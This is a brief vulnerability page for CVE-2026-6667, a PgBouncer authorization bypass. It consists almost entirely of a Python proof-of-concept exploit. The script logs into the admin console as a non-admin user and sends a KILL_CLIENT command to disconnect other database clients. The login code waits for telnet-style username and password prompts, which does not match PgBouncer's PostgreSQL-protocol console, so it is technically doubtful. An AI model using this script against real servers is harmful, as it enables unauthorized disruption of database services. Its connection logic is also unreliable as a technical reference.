CVE-2026-6667 PgBouncer权限绕过漏洞

import telnetlib import time # PoC for CVE-2026-6667: PgBouncer Authorization Bypass # Description: Connect to the PgBouncer admin console as a low-privileged user # and execute the KILL_CLIENT command, which should be restricted to admin_users. TARGET_HOST = "127.0.0.1" TARGET_PORT = 6432 # Default admin console port USER = "normal_user" # User with console access but NOT in admin_users PASSWORD = "password" try: print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") tn = telnetlib.Telnet(TARGET_HOST, TARGET_PORT) # Handle Login tn.read_until(b"Username: ") tn.write(USER.encode('ascii') + b"\n") tn.read_until(b"Password: ") tn.write(PASSWORD.encode('ascii') + b"\n") # Wait for welcome message response = tn.read_until(b"Type \"help\" for help.").decode('ascii') if "Welcome" in response: print("[+] Login successful.") else: print("[-] Login failed.") exit(1) # Exploit: Attempt to kill a client connection # Usage: KILL_CLIENT <database> <user> # Assuming there is an active connection, this attempts to disrupt it. payload = "KILL_CLIENT pgbouncer postgres\n" print(f"[*] Sending payload: {payload.strip()}") tn.write(payload.encode('ascii')) time.sleep(1) result = tn.read_very_eager().decode('ascii') print("[+] Response from server:") print(result) if "ERROR" not in result: print("[!] Command executed successfully. Vulnerability likely confirmed.") else: print("[-] Command failed or denied.") tn.close() except Exception as e: print(f"[-] An error occurred: {e}")